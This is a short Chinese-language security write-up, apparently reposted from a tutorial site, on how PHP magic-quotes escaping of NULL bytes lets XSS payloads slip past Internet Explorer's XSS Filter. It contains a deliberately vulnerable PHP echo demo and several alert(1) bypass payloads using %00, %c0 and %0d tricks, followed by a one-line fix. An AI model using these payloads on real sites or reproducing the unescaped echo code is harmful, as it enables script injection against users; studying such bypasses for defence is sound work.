在一些web容器中会对一些特殊字符做转换处理,这中间ie xss filter开发人员任何地方对它的了解有疏忽,都很可能导致bypass. 在php中,如果开启了]魔术引号]特性(magic_quotes_gpc = On),则‘(single-quote), [(double quote), \ (backslash) 和NULL 字符将都会被反斜杠转义(%00 =>\0). 1. xss.php demo source code: <?php echo $_GET['x']?> <script type="text/javascript"> var x="<?php echo $_GET['z']?>" </script> 2. HTML bypass case: <script>alert(1)</script> <script/%00%00%00%00%00>alert(1)</script> %00%00v%00%00<script>alert(1)</script> <script/%00%00v%00%00>alert(1)</script> tips: 1. 绕过字符必须出现在拦截规则中,例如拦截<script>就可以是<script [here]>. 3. Java script bypass case: [;alert(1)// %c0″;alert(%00)// %c0″;//(%0dalert(1)// %c0″;//(%0dalert(1)// %c0″;//(%00%0dalert(1)// %c0″//(%000000%0dalert(1)// tips: HdhCmsTest2cto测试数据 1. 需要通过多字节问题吃掉一个\. 2. //(%000000%0d是用于绕过函数调用的拦截规则. 修复方案: 加入%00 => \0 规则,当然这样可能还会产生别的问题
查看更多关于PHP魔术引号导致IE XSS Filter bypass - 网站安全 - 自学的详细内容...